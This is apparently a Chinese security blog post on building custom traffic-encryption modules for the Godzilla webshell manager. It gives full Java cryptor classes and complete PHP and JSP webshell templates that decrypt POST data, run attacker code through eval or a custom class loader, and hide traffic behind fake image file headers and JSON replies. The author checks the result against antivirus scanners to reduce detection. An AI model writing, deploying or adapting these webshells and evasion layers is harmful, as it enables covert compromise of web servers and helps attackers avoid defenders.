Godzilla二开流量加密

前言

笔者很想自定义一个加密算法,并将其融入到学习的实践中,而在Web安全领域中,自定义加密算法正好适用于流量的混淆加密

遂尝试自定义加密算法以及哥斯拉的二开

加密算法

2357

笔者首先想的是将明文字符串的每个字符分开,通过unicode表转换为阿拉伯数字,一个个的加密,再使用一个特殊的分隔符号插入到每个加密的密文段中,最后排列后就是密文

加密使用最简单的乘除方法:

如果这个转换的数字能被2、3、5、7整除,那就使用2、3、5、7以及商来代替明文字符
如果这个转换的数字不能被2、3、5、7整除,那就用1以及数字本身来代替明文字符

举个例子:

明文字符串:    hello
Unicode串: 104 101 108 108 111
密文字符串: 252 1101 254 254 337 104=2*52 108=2*54 111=3*37 空格为间隔符

对应的python3加密以及解密函数

def have_2357(n):
for i in [2,3,5,7]:
if n % i == 0 :
return False
return True

def encrypt_string(input_string):
encrypted_list = []
for char in input_string:
ascii_value = ord(char)
if have_2357(ascii_value):
encrypted_list.append(f"1{ascii_value}")
else:
factors = []
for i in range(2, ascii_value + 1):
if ascii_value % i == 0:
factors.append(i)
encrypted_list.append(f"{factors[0]}{factors[-1]//factors[0]}")
encrypted_string = ','.join(encrypted_list)
return encrypted_string

def decrypt_string(input_string):
list1=input_string.split(',')
t=''
for i in list1:
t=t+(chr(int(i[0])*int(i[1:])))
return t

input_string = "yheLlo,明world!"
encrypted_result = encrypt_string(input_string)
decrypted_result= decrypt_string(encrypted_result)
print(f"原始字符串: {input_string}")
print(f"加密结果: {encrypted_result}")
print(f"解密结果:{decrypted_result}")
原始字符串: yheLlo,明world!
加密结果: 1121,252,1101,238,254,337,232646,213063,717,337,257,254,250,311
解密结果:yheLlo,明world!

但在后续开发时,我不是很想将这个算法应用到哥斯拉的二开中,为什么呢?

这个算法在加密过程中扩大了非常大的字节数,而且还有一大堆分隔符号,所以这个就被pass

PS:不过这也是自己弄的成果,贴一贴吧

qpe

由于2357加密后得字符串太长,所以我想将加密后的字符串再通过unicode表转为对应得字符,缩小一下字符串长度

加密算法简单做下升级,引入方程,自定义abc,其中的元参数x由明文字符串得下标位数来确定(大于10的对10取余),通过a* x*x + b*x + c得到y

这个y值与明文字符的unicode数字做异或,异或后通过unicode转为字符就是加密后得密文

对应的python3加密以及解密函数

def quadratic_function(a, b, c, x):
"""计算二次方程值"""
return a * x * x + b * x + c

def encrypt(plaintext, a, b, c):
"""加密函数"""
encrypted = []
for i, char in enumerate(plaintext):
x = i if i < 10 else i % 10 # 修改点:元参数 x 的定义
shift = quadratic_function(a, b, c, x)
encrypted_char = chr(ord(char) ^ (shift % 255))
encrypted.append(encrypted_char)
return ''.join(encrypted)

def decrypt(ciphertext, a, b, c):
"""解密函数"""
decrypted = []
for i, char in enumerate(ciphertext):
x = i if i < 10 else i % 10 # 同样使用修改后的 x
shift = quadratic_function(a, b, c, x)
decrypted_char = chr(ord(char) ^ (shift % 255))
decrypted.append(decrypted_char)
return ''.join(decrypted)

# 示例
a, b, c = 1, 2, 3
plaintext = "yheLlo,明world!"
encrypted_text = encrypt(plaintext, a, b, c)
decrypted_text = decrypt(encrypted_text, a, b, c)

print(f"原始字符串: {plaintext}")
print(f"加密结果: {encrypted_text}")
print(f"解密结果: {decrypted_text}")

原始字符串: yheLlo,明world!
加密结果: znn^wI_晌$ qjo3
解密结果: yheLlo,明world!

Sta3t

在考虑加密算法时,我不禁想起了高中生涯。当时,我只对理科感兴趣,尤其喜欢数学中的数形结合方法来解决问题。记得还用椭圆的参数方程来分析和解决椭圆相关的平面几何问题,把选修题的知识用来做必修的大题,哈哈,现在想想还真挺有意思

在算法中引入⚪,自定义a+2b+3等于r的平方,x0r依小至大选择0以及正整数,在圆中对应的最大的正整数y就是c

也就是通过ab来确定c(取在⚪中最远离圆心的点)

再走qpe的逻辑

对应的python3加密以及解密函数

def Round(a, b):
"""计算C"""
R = a + 2 * b +3
C = []
for x in range(R):
if x * x <= R:
for y in range(R):
if x * x + (y+1) * (y+1) > R:
C.append(y)
break
else:
break
return C

def quadratic_function(a, b, c, x):
"""计算二次方程值"""
return a * x * x + b * x + c

def encrypt(plaintext, a, b ,C):
"""加密函数"""
encrypted = []
for i, char in enumerate(plaintext):
shift = quadratic_function(a, b, C[i%len(C)], i)
encrypted_char = chr(ord(char) ^ (shift % 255))
encrypted.append(encrypted_char)
return ''.join(encrypted)

def decrypt(ciphertext, a, b, C):
"""解密函数"""
decrypted = []
for i, char in enumerate(ciphertext):
shift = quadratic_function(a, b, C[i%len(C)], i)
decrypted_char = chr(ord(char) ^ (shift % 255))
decrypted.append(decrypted_char)
return ''.join(decrypted)

a, b, = 3, 2
C = Round(a, b)
plaintext = "yheLlo,明world!"
encrypted_text = encrypt(plaintext, a, b, C)
decrypted_text = decrypt(encrypted_text, a, b, C)

print(f"原始字符串: {plaintext}")
print(f"加密结果: {encrypted_text}")
print(f"解密结果: {decrypted_text}")

原始字符串: yheLlo,明world!
加密结果: z`wnW7カ暬¤f1ï¨;
解密结果: yheLlo,明world!

哥斯拉二开

php_eval_xor_base64

要二开的话还是需要理清代码的层级结构,需要了解功能模块的代码位置,在这里我们重点在于流量的混淆功能,So开启Debug来锁定代码位置

哥斯拉ui目标项右键点击进入(选择Php_Eval_Xor_Base64混淆器)

首先步入到core/ui/ShellManage代码文件,后通过方法调用步入到core/shell/ShellEntity代码文件的initShellOpertion方法中,后走到PhpEvalXorinit方法

image-20250620155905532

image-20250620161757763

image-20250620162049131

PhpEvalXorinit方法功能是将payload传递给服务端

public void init(ShellEntity context) {
this.shell = context;
this.http = this.shell.getHttp();
this.key = this.shell.getSecretKeyX().getBytes();
this.pass = this.shell.getPassword();
String findStrMd5 = functions.md5(this.shell.getSecretKey() + new String(this.key));
this.findStrLeft = findStrMd5.substring(0, 16);
this.findStrRight = findStrMd5.substring(16);
this.evalContent = this.generateEvalContent();

try {
this.payload = this.shell.getPayloadModule().getPayload(); #在本地文件中读取获得哥斯拉功能函数代码(打开文件,下载文件,查看基础信息等)
if (this.payload != null) {
this.http.sendHttpResponse(this.payload); #将功能函数加密后发送POST请求传递给服务端,加密函数在`PhpEvalXor`的E方法
this.state = true;
} else {
Log.error("payload Is Null");
}

} catch (Exception var4) {
Log.error(var4);
}
}

image-20250620163546676

image-20250620163704194

image-20250620163752830

image-20250620164225633

后通过core/shell/ShellEntitytest方法测试连接Godzilla

image-20250620165510771

分析如下

core/ui/ShellManage.java
core/shell/ShellEntity.java shell的连接逻辑
Shells/cryptions/{CryptionName}/{Crypto}.java 用于存放混淆器功能函数
PhpEvalor
init()
PHP_EVAL_XOR_BASE64
generateEvalContent() 通过GenerateShellLoder生成木马文件
getPayloadModule().getPayload() 通过readInputStream获取功能函数代码
this.http.sendHttpResponse(this.payload);
sendHttpResponse()
getCryptionModule().encode()
E() PHP_EVAL_XOR_BASE64的加密函数来加密功能函数代码
this.SendHttpConn() 发送

PhpQPE

毕竟是要在Godzilla中编写java代码的混淆器,加密算法肯定不能用python

// 首先将字符串进行`base64`编码,在进行`QPE`加密
String base64 = Base64.getEncoder().encodeToString(cs);
byte[] base64Bytes = base64.getBytes();
byte[] encrypted = new byte[base64Bytes.length];

for (int i = 0; i < base64Bytes.length; i++) {
int j = i % 10;
int shift = a * j * j + b * j + c;
encrypted[i] = (byte) (base64Bytes[i] ^ (shift % 255));
}

加密后的字符串基本就是乱码形式了,为了更好的混淆防护设备,笔者进行了二次修改,在字符串的首尾添加了pngjpg等的文件头、文件尾

最终形式如下

public byte[] E(byte[] cs) {
int a = 1, b = 2, c = 3;
byte[][] headers = {
{(byte) 0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A}, // PNG
{(byte) 0xFF, (byte) 0xD8, (byte) 0xFF}, // JPG
{0x47, 0x49, 0x46, 0x38, 0x39, 0x61}, // GIF89a
{0x42, 0x4D}, // BMP
{0x49, 0x49, 0x2A, 0x00}, // TIFF (LE)
{0x4D, 0x4D, 0x00, 0x2A}, // TIFF (BE)
{0x52, 0x49, 0x46, 0x46, 0x57, 0x45, 0x42, 0x50}, // WebP (RIFF header)
};
byte[][] trailers = {
{0x00, 0x00, 0x00, 0x00, 0x49, 0x45, 0x4E, 0x44, (byte) 0xAE, 0x42, 0x60, (byte) 0x82}, // PNG
{(byte) 0xFF, (byte) 0xD9}, // JPG
{0x00, 0x3B}, // GIF
{}, // BMP
{}, // TIFF (LE)
{}, // TIFF (BE)
{}, // WebP
};
Random random = new Random();
int index = random.nextInt(headers.length);
byte[] header = headers[index];
byte[] trailer = trailers[index];
String base64 = Base64.getEncoder().encodeToString(cs);
byte[] base64Bytes = base64.getBytes();
byte[] encrypted = new byte[base64Bytes.length];

for (int i = 0; i < base64Bytes.length; i++) {
int j = i % 10;
int shift = a * j * j + b * j + c;
encrypted[i] = (byte) (base64Bytes[i] ^ (shift % 255));
}
// 拼接:头部 + 加密数据 + 尾部
byte[] finalResult = new byte[header.length + encrypted.length + trailer.length];
System.arraycopy(header, 0, finalResult, 0, header.length);
System.arraycopy(encrypted, 0, finalResult, header.length, encrypted.length);
System.arraycopy(trailer, 0, finalResult, header.length + encrypted.length, trailer.length);
return finalResult;
}

有了混淆器,也要有对应的功能木马

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);

function decrypt($data, $a, $b, $c) {
$magic = ord($data[0]);
$headerMap = [
137 => [8, 12],
255 => [3, 2],
71 => [6, 2],
66 => [2, 0],
73 => [4, 0],
77 => [4, 0],
82 => [8, 0],
];
$headerLen = 0;
$footerLen = 0;
if (isset($headerMap[$magic])) {
[$headerLen, $footerLen] = $headerMap[$magic];
}
$data = substr($data, $headerLen, strlen($data) - $headerLen - $footerLen);
$len = strlen($data);
$decoded = '';
for ($i = 0; $i < $len; $i++) {
$j = $i % 10;
$shift = $a * $j * $j + $b * $j + $c;
$decoded .= chr(ord($data[$i]) ^ ($shift % 255));
}
return base64_decode($decoded);
}
function encode($D, $K){
for ($i = 0; $i < strlen($D); $i++) {
$c = $K[$i + 1 & 15];
$D[$i] = $D[$i] ^ $c;
}
return $D;
}
$QPEdata = file_get_contents('php://input');
$pass = 'pass';
$payloadName = 'payload';
$key = '3c6e0b8a9c15224a';
$a = 1;
$b = 2;
$c = 3;

if (isset($QPEdata)) {
$data = decrypt($QPEdata, $a, $b, $c);
if (isset($_SESSION[$payloadName])) {
$payload = $_SESSION[$payloadName];
if (strpos($payload, "getBasicsInfo") === false) {
$payload = $payload;
}
eval($payload);
$timestamp = time();
$filename = substr(md5($timestamp), 0, 16) . (rand(0, 1) ? '.png' : '.jpg');
$fieldNames = ['key', 'token'];
$randomField = $fieldNames[array_rand($fieldNames)];
$encrypted = base64_encode(encode(@run($data), $key));
header('Content-Type: application/json');
echo json_encode([
'filename' => $filename,
$randomField => $encrypted,
'timestamp' => $timestamp
]);
} else {
if (strpos($data, "getBasicsInfo") !== false) {
$_SESSION[$payloadName] = $data;
}
}
}

其实在哥斯拉的cryptions目录下有木马的模板文件,需要与Generate类配合使用来完成木马文件的自定义生成(passkey可被用户自定义)

image-20250621092406423

image-20250621092450826

这样混淆器的所有文件都已经准备好了,在src/shells/cryptions目录下按照其它混淆器的文件架构创建写入就可以了

QPE

package shells.cryptions.PhpQPE;

import core.annotation.CryptionAnnotation;
import core.imp.Cryption;
import core.shell.ShellEntity;
import java.util.Random;
import shells.cryptions.PhpQPE.Generate;
import java.util.Base64;
import util.Log;
import util.functions;
import util.http.Http;

import java.net.URLEncoder;

@CryptionAnnotation(Name="PhpQPE", payloadName="PhpDynamicPayload")

public class QPE implements Cryption {
private ShellEntity shell;
private Http http;
private byte[] key;
private boolean state;
private String pass;
private byte[] payload;
private String findStrLeft;
private String findStrLeft1;
private String findStrRight;

@Override
public void init(ShellEntity context) {
this.shell = context;
this.http = this.shell.getHttp();
this.key = this.shell.getSecretKeyX().getBytes();
this.pass = this.shell.getPassword();
String findStrMd5 = functions.md5(this.pass + new String(this.key));
String md5Prefix = findStrMd5.substring(0, 5);

try {
this.payload = this.shell.getPayloadModule().getPayload();
if (this.payload != null) {
this.http.sendHttpResponse(this.payload);
this.state = true;
} else {
Log.error("payload Is Null");
}
} catch (Exception e) {
Log.error(e);
return;
}
}

@Override
public byte[] encode(byte[] data) {
try {
return this.E(data);
} catch (Exception e) {
Log.error(e);
return null;
}
}

@Override
public byte[] decode(byte[] data) {
if (data != null && data.length > 0) {
try {
return this.D(this.findStr(data));
} catch (Exception e) {
Log.error(e);
return null;
}
}
return data;
}

@Override
public boolean isSendRLData() {
return true;
}

public byte[] E(byte[] cs) {
int a = 1, b = 2, c = 3;

// 定义支持的图片头和尾(可自行扩展)
byte[][] headers = {
{(byte) 0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A}, // PNG
{(byte) 0xFF, (byte) 0xD8, (byte) 0xFF}, // JPG
{0x47, 0x49, 0x46, 0x38, 0x39, 0x61}, // GIF89a
{0x42, 0x4D}, // BMP
{0x49, 0x49, 0x2A, 0x00}, // TIFF (LE)
{0x4D, 0x4D, 0x00, 0x2A}, // TIFF (BE)
{0x52, 0x49, 0x46, 0x46, 0x57, 0x45, 0x42, 0x50}, // WebP (RIFF header)
};

byte[][] trailers = {
{0x00, 0x00, 0x00, 0x00, 0x49, 0x45, 0x4E, 0x44, (byte) 0xAE, 0x42, 0x60, (byte) 0x82}, // PNG
{(byte) 0xFF, (byte) 0xD9}, // JPG
{0x00, 0x3B}, // GIF
{}, // BMP
{}, // TIFF (LE)
{}, // TIFF (BE)
{}, // WebP
};

// 随机选择一种格式
Random random = new Random();
int index = random.nextInt(headers.length);
byte[] header = headers[index];
byte[] trailer = trailers[index];

// Base64编码
String base64 = Base64.getEncoder().encodeToString(cs);
byte[] base64Bytes = base64.getBytes();
byte[] encrypted = new byte[base64Bytes.length];

for (int i = 0; i < base64Bytes.length; i++) {
int j = i % 10;
int shift = a * j * j + b * j + c;
encrypted[i] = (byte) (base64Bytes[i] ^ (shift % 255));
}

// 拼接:头部 + 加密数据 + 尾部
byte[] finalResult = new byte[header.length + encrypted.length + trailer.length];
System.arraycopy(header, 0, finalResult, 0, header.length);
System.arraycopy(encrypted, 0, finalResult, header.length, encrypted.length);
System.arraycopy(trailer, 0, finalResult, header.length + encrypted.length, trailer.length);

return finalResult;
}
public byte[] D(String data) {
byte[] cs = functions.base64Decode(data);
int len = cs.length;
for (int i = 0; i < len; ++i) {
cs[i] = (byte)(cs[i] ^ this.key[i + 1 & 0xF]);
}
return cs;
}

public String findStr(byte[] respResult) {
String json = new String(respResult);
String[] keys = {"\"key\":\"", "\"token\":\""};
for (String k : keys) {
int start = json.indexOf(k);
if (start != -1) {
start += k.length();
int end = json.indexOf("\"", start);
if (end > start) {
return json.substring(start, end);
}
}
}
return null;
}

@Override
public boolean check() {
return this.state;
}

@Override
public byte[] generate(String password, String secretKey) {
return shells.cryptions.PhpQPE.Generate.GenerateShellLoder(password, functions.md5(secretKey).substring(0, 16), false);
}
}


Generate

package shells.cryptions.PhpQPE;

import java.io.InputStream;
import util.Log;
import util.TemplateEx;
import util.functions;

class Generate {
Generate() {
}

public static byte[] GenerateShellLoder(String pass, String secretKey, boolean isBin) {
byte[] data = null;
try {
InputStream inputStream = Generate.class.getResourceAsStream("template/" + (isBin ? "raw.bin" : "base64.bin"));
String code = new String(functions.readInputStream(inputStream));
inputStream.close();
code = code.replace("{pass}", pass).replace("{secretKey}", secretKey);
code = TemplateEx.run(code);
data = code.getBytes();
} catch (Exception e) {
Log.error(e);
}
return data;
}

public static void main(String[] args) {
System.out.println(new String(Generate.GenerateShellLoder("123", "456", false)));
}
}


base64.bin

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);

function decrypt($data, $a, $b, $c) {
$magic = ord($data[0]);
$headerMap = [
137 => [8, 12],
255 => [3, 2],
71 => [6, 2],
66 => [2, 0],
73 => [4, 0],
77 => [4, 0],
82 => [8, 0],
];
$headerLen = 0;
$footerLen = 0;
if (isset($headerMap[$magic])) {
[$headerLen, $footerLen] = $headerMap[$magic];
}
$data = substr($data, $headerLen, strlen($data) - $headerLen - $footerLen);
$len = strlen($data);
$decoded = '';
for ($i = 0; $i < $len; $i++) {
$j = $i % 10;
$shift = $a * $j * $j + $b * $j + $c;
$decoded .= chr(ord($data[$i]) ^ ($shift % 255));
}
return base64_decode($decoded);
}
function encode($D, $K){
for ($i = 0; $i < strlen($D); $i++) {
$c = $K[$i + 1 & 15];
$D[$i] = $D[$i] ^ $c;
}
return $D;
}
$QPEdata = file_get_contents('php://input');
$pass = '{pass}';
$payloadName = 'payload';
$key = '{secretKey}';
$a = 1;
$b = 2;
$c = 3;

if (isset($QPEdata)) {
$data = decrypt($QPEdata, $a, $b, $c);
if (isset($_SESSION[$payloadName])) {
$payload = $_SESSION[$payloadName];
if (strpos($payload, "getBasicsInfo") === false) {
$payload = $payload;
}
eval($payload);
$timestamp = time();
$filename = substr(md5($timestamp), 0, 16) . (rand(0, 1) ? '.png' : '.jpg');
$fieldNames = ['key', 'token'];
$randomField = $fieldNames[array_rand($fieldNames)];
$encrypted = base64_encode(encode(@run($data), $key));
header('Content-Type: application/json');
echo json_encode([
'filename' => $filename,
$randomField => $encrypted,
'timestamp' => $timestamp
]);
} else {
if (strpos($data, "getBasicsInfo") !== false) {
$_SESSION[$payloadName] = $data;
}
}
}

构建新的工件就生成了新的jar

木马流量如下

image-20250621094032831

image-20250621094044633

virscan结果(😢😢还是有些差劲的,后续还是会改进的)

image-20250621094316668

JavaQPE

JavaAES的混淆器架构和php的还是有些区别的,在它的Generate类文件与模板shell.jsp可以看出

xxxGlobalCode.bin 存放变量/方法/类代码

xxxCode.bin 存放执行逻辑代码

// 生成木马文件类 Generate.java
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package shells.cryptions.JavaAes;

import core.ApplicationContext;
import core.ui.component.dialog.GOptionPane;
import java.awt.Component;
import java.io.InputStream;
import javax.swing.Icon;
import util.Log;
import util.functions;

class Generate {
private static final String[] SUFFIX = new String[]{"jsp", "jspx"};

Generate() {
}

public static byte[] GenerateShellLoder(String shellName, String pass, String secretKey, boolean isBin) {
byte[] data = null;

try {
InputStream inputStream = Generate.class.getResourceAsStream("template/" + shellName + (isBin ? "raw" : "base64") + "GlobalCode.bin");
String globalCode = new String(functions.readInputStream(inputStream));
inputStream.close();
globalCode = globalCode.replace("{pass}", pass).replace("{secretKey}", secretKey);
inputStream = Generate.class.getResourceAsStream("template/" + shellName + (isBin ? "raw" : "base64") + "Code.bin");
String code = new String(functions.readInputStream(inputStream));
inputStream.close();
Object selectedValue = GOptionPane.showInputDialog((Component)null, "suffix", "selected suffix", 1, (Icon)null, SUFFIX, (Object)null);
if (selectedValue != null) {
String suffix = (String)selectedValue;
inputStream = Generate.class.getResourceAsStream("template/shell." + suffix);
String template = new String(functions.readInputStream(inputStream));
inputStream.close();
if (suffix.equals(SUFFIX[1])) {
globalCode = globalCode.replace("<", "&lt;").replace(">", "&gt;");
code = code.replace("<", "&lt;").replace(">", "&gt;");
}

if (ApplicationContext.isGodMode()) {
template = template.replace("{globalCode}", functions.stringToUnicode(globalCode)).replace("{code}", functions.stringToUnicode(code));
} else {
template = template.replace("{globalCode}", globalCode).replace("{code}", code);
}

data = template.getBytes();
}
} catch (Exception var11) {
Log.error(var11);
}

return data;
}

public static byte[] GenerateShellLoder(String pass, String secretKey, boolean isBin) {
return GenerateShellLoder("", pass, secretKey, isBin);
}
}
// 模板 shell.jsp
<%!{globalCode}%><%{code}%>

最终结果文件

JavaQPE

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package shells.cryptions.JavaQPE;

import core.annotation.CryptionAnnotation;
import core.imp.Cryption;
import core.shell.ShellEntity;
import java.net.URLEncoder;
import java.util.Base64;
import java.util.Random;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;

import shells.cryptions.JavaQPE.Generate;
import util.Log;
import util.functions;
import util.http.Http;

@CryptionAnnotation(
Name = "JavaQPE",
payloadName = "JavaDynamicPayload"
)
public class QPE implements Cryption {
private ShellEntity shell;
private Http http;
private byte[] key;
private boolean state;
private String pass;
private byte[] payload;
private String findStrLeft;
private String findStrLeft1;
private String findStrRight;

@Override
public void init(ShellEntity context) {
this.shell = context;
this.http = this.shell.getHttp();
this.key = this.shell.getSecretKeyX().getBytes();
this.pass = this.shell.getPassword();
String findStrMd5 = functions.md5(this.pass + new String(this.key));
String md5Prefix = findStrMd5.substring(0, 5);

try {
this.payload = this.shell.getPayloadModule().getPayload();
if (this.payload != null) {
this.http.sendHttpResponse(this.payload);
this.state = true;
} else {
Log.error("payload Is Null");
}
} catch (Exception e) {
Log.error(e);
return;
}
}

@Override
public byte[] encode(byte[] data) {
try {
return this.E(data);
} catch (Exception e) {
Log.error(e);
return null;
}
}

@Override
public byte[] decode(byte[] data) {
if (data != null && data.length > 0) {
try {
return this.D(this.findStr(data));
} catch (Exception e) {
Log.error(e);
return null;
}
}
return data;
}

@Override
public boolean isSendRLData() {
return true;
}

public byte[] E(byte[] cs) {
int a = 1, b = 2, c = 3;

// 定义支持的图片头和尾(可自行扩展)
byte[][] headers = {
{(byte) 0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A}, // PNG
{(byte) 0xFF, (byte) 0xD8, (byte) 0xFF}, // JPG
{0x47, 0x49, 0x46, 0x38, 0x39, 0x61}, // GIF89a
{0x42, 0x4D}, // BMP
{0x49, 0x49, 0x2A, 0x00}, // TIFF (LE)
{0x4D, 0x4D, 0x00, 0x2A}, // TIFF (BE)
{0x52, 0x49, 0x46, 0x46, 0x57, 0x45, 0x42, 0x50}, // WebP (RIFF header)
};

byte[][] trailers = {
{0x00, 0x00, 0x00, 0x00, 0x49, 0x45, 0x4E, 0x44, (byte) 0xAE, 0x42, 0x60, (byte) 0x82}, // PNG
{(byte) 0xFF, (byte) 0xD9}, // JPG
{0x00, 0x3B}, // GIF
{}, // BMP
{}, // TIFF (LE)
{}, // TIFF (BE)
{}, // WebP
};

// 随机选择一种格式
Random random = new Random();
int index = random.nextInt(headers.length);
byte[] header = headers[index];
byte[] trailer = trailers[index];

// Base64编码
String base64 = Base64.getEncoder().encodeToString(cs);
byte[] base64Bytes = base64.getBytes();
byte[] encrypted = new byte[base64Bytes.length];

for (int i = 0; i < base64Bytes.length; i++) {
int j = i % 10;
int shift = a * j * j + b * j + c;
encrypted[i] = (byte) (base64Bytes[i] ^ (shift % 255));
}

// 拼接:头部 + 加密数据 + 尾部
byte[] finalResult = new byte[header.length + encrypted.length + trailer.length];
System.arraycopy(header, 0, finalResult, 0, header.length);
System.arraycopy(encrypted, 0, finalResult, header.length, encrypted.length);
System.arraycopy(trailer, 0, finalResult, header.length + encrypted.length, trailer.length);

return finalResult;
}
public byte[] D(String data) {
byte[] cs = functions.base64Decode(data);
int len = cs.length;
for (int i = 0; i < len; ++i) {
cs[i] = (byte)(cs[i] ^ this.key[i + 1 & 0xF]);
}
return cs;
}

public String findStr(byte[] respResult) {
String json = new String(respResult);
String[] keys = {"\"key\":\"", "\"token\":\""};
for (String k : keys) {
int start = json.indexOf(k);
if (start != -1) {
start += k.length();
int end = json.indexOf("\"", start);
if (end > start) {
return json.substring(start, end);
}
}
}
return null;
}

@Override
public boolean check() {
return this.state;
}

@Override
public byte[] generate(String password, String secretKey) {
return shells.cryptions.JavaQPE.Generate.GenerateShellLoder(password, functions.md5(secretKey).substring(0, 16), false);
}
}


Generate

package shells.cryptions.JavaQPE;

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

import core.ApplicationContext;
import core.ui.component.dialog.GOptionPane;
import java.awt.Component;
import java.io.InputStream;
import javax.swing.Icon;
import util.Log;
import util.functions;

class Generate {
private static final String[] SUFFIX = new String[]{"jsp", "jspx"};

Generate() {
}

public static byte[] GenerateShellLoder(String shellName, String pass, String secretKey, boolean isBin) {
byte[] data = null;

try {
InputStream inputStream = shells.cryptions.JavaQPE.Generate.class.getResourceAsStream("template/GlobalCode.bin");
String globalCode = new String(functions.readInputStream(inputStream));
inputStream.close();
globalCode = globalCode.replace("{pass}", pass).replace("{secretKey}", secretKey);
inputStream = shells.cryptions.JavaQPE.Generate.class.getResourceAsStream("template/Code.bin");
String code = new String(functions.readInputStream(inputStream));
inputStream.close();
Object selectedValue = GOptionPane.showInputDialog((Component)null, "suffix", "selected suffix", 1, (Icon)null, SUFFIX, (Object)null);
if (selectedValue != null) {
String suffix = (String)selectedValue;
inputStream = shells.cryptions.JavaQPE.Generate.class.getResourceAsStream("template/shell." + suffix);
String template = new String(functions.readInputStream(inputStream));
inputStream.close();
if (suffix.equals(SUFFIX[1])) {
globalCode = globalCode.replace("<", "&lt;").replace(">", "&gt;");
code = code.replace("<", "&lt;").replace(">", "&gt;");
}

if (ApplicationContext.isGodMode()) {
template = template.replace("{globalCode}", functions.stringToUnicode(globalCode)).replace("{code}", functions.stringToUnicode(code));
} else {
template = template.replace("{globalCode}", globalCode).replace("{code}", code);
}

data = template.getBytes();
}
} catch (Exception var11) {
Log.error(var11);
}

return data;
}

public static byte[] GenerateShellLoder(String pass, String secretKey, boolean isBin) {
return GenerateShellLoder("", pass, secretKey, isBin);
}
}

Code

try {
InputStream in = request.getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] buffer = new byte[1024];
int len;
while ((len = in.read(buffer)) != -1) {
baos.write(buffer, 0, len);
}
byte[] rawData = baos.toByteArray();
byte[] decrypted = decrypt(rawData);
if (decrypted == null) {
response.sendError(400, "Decryption failed");
return;
}
if (session.getAttribute(payloadName) == null) {
session.setAttribute(payloadName, new X(this.getClass().getClassLoader()).Q(decrypted));
} else {
request.setAttribute("parameters", decrypted);
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
Class payloadClass = (Class)session.getAttribute(payloadName);
Object instance = payloadClass.newInstance();
instance.equals(arrOut);
instance.equals(pageContext);
instance.toString();
byte[] result = arrOut.toByteArray();
long timestamp = System.currentTimeMillis();
String seed = timestamp + "-" + Math.random();
String md5Str = md5(seed);
String filename = md5Str.substring(0, 16) + (Math.random() < 0.5 ? ".png" : ".jpg");
String randomField = fieldNames[(int)(Math.random() * fieldNames.length)];
byte[] encodedResult = encode(result, xc);
String encryptedResult = base64Encode(encodedResult);
response.setContentType("application/json");
java.io.PrintWriter responseWriter = response.getWriter();
responseWriter.print("{\"filename\":\"" + filename +
"\",\"" + randomField + "\":\"" + encryptedResult +
"\",\"timestamp\":" + timestamp + "}");
}
} catch (Exception e) {
response.sendError(500, "Internal Server Error: " + e.getMessage());
}

GlobalCode.bin

String xc="{secretKey}";
String pass="{pass}";
int a = 1, b = 2, c = 3;
String[] fieldNames = {"key", "token"};
String payloadName = "payload";
class X extends ClassLoader {
public X(ClassLoader z) { super(z); }
public Class Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
}
private byte[] decrypt(byte[] data) {
if (data == null || data.length == 0) return null;
Map<Integer, int[]> headerMap = new HashMap<Integer, int[]>() {{
put(137, new int[]{8, 12});
put(255, new int[]{3, 2});
put(71, new int[]{6, 2});
put(66, new int[]{2, 0});
put(73, new int[]{4, 0});
put(77, new int[]{4, 0});
put(82, new int[]{8, 0});
}};
int magic = data[0] & 0xFF;
int headerLen = 0, footerLen = 0;
if (headerMap.containsKey(magic)) {
int[] lens = headerMap.get(magic);
headerLen = lens[0];
footerLen = lens[1];
}
int dataLength = data.length - headerLen - footerLen;
if (dataLength <= 0) return null;
byte[] middle = Arrays.copyOfRange(data, headerLen, headerLen + dataLength);
byte[] decoded = new byte[middle.length];
for (int i = 0; i < middle.length; i++) {
int j = i % 10;
int shift = a * j * j + b * j + c;
decoded[i] = (byte)(middle[i] ^ (shift % 255));
}
try {
return base64Decode(new String(decoded, "ISO-8859-1"));
} catch (Exception e) {
return null;
}
}
private byte[] encode(byte[] data, String key) {
if (data == null) return null;
byte[] keyBytes = key.getBytes();
byte[] result = new byte[data.length];
for (int i = 0; i < data.length; i++) {
int keyIndex = (i + 1) & 15;
result[i] = (byte)(data[i] ^ keyBytes[keyIndex]);
}
return result;
}
public String md5(String s) {
try {
java.security.MessageDigest m = java.security.MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
return new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
} catch (Exception e) { return ""; }
}
public String base64Encode(byte[] bs) {
try {
return Base64.getEncoder().encodeToString(bs);
} catch (Exception e) {
try {
return new sun.misc.BASE64Encoder().encode(bs);
} catch (Exception e2) { return ""; }
}
}
public byte[] base64Decode(String bs) throws Exception {
try {
return Base64.getDecoder().decode(bs);
} catch (Exception e) {
try {
return new sun.misc.BASE64Decoder().decodeBuffer(bs);
} catch (Exception e2) { return null; }
}
}

木马流量如下

image-20250621101528687

image-20250621101536032

image-20250621101542432

virscan结果(😢😢tnnd,为什么不是全绿)

image-20250621102117417

参考

https://github.com/BeichenDream/Godzilla

https://mp.weixin.qq.com/s/ktXCzQrzthcde0PrKIA_vA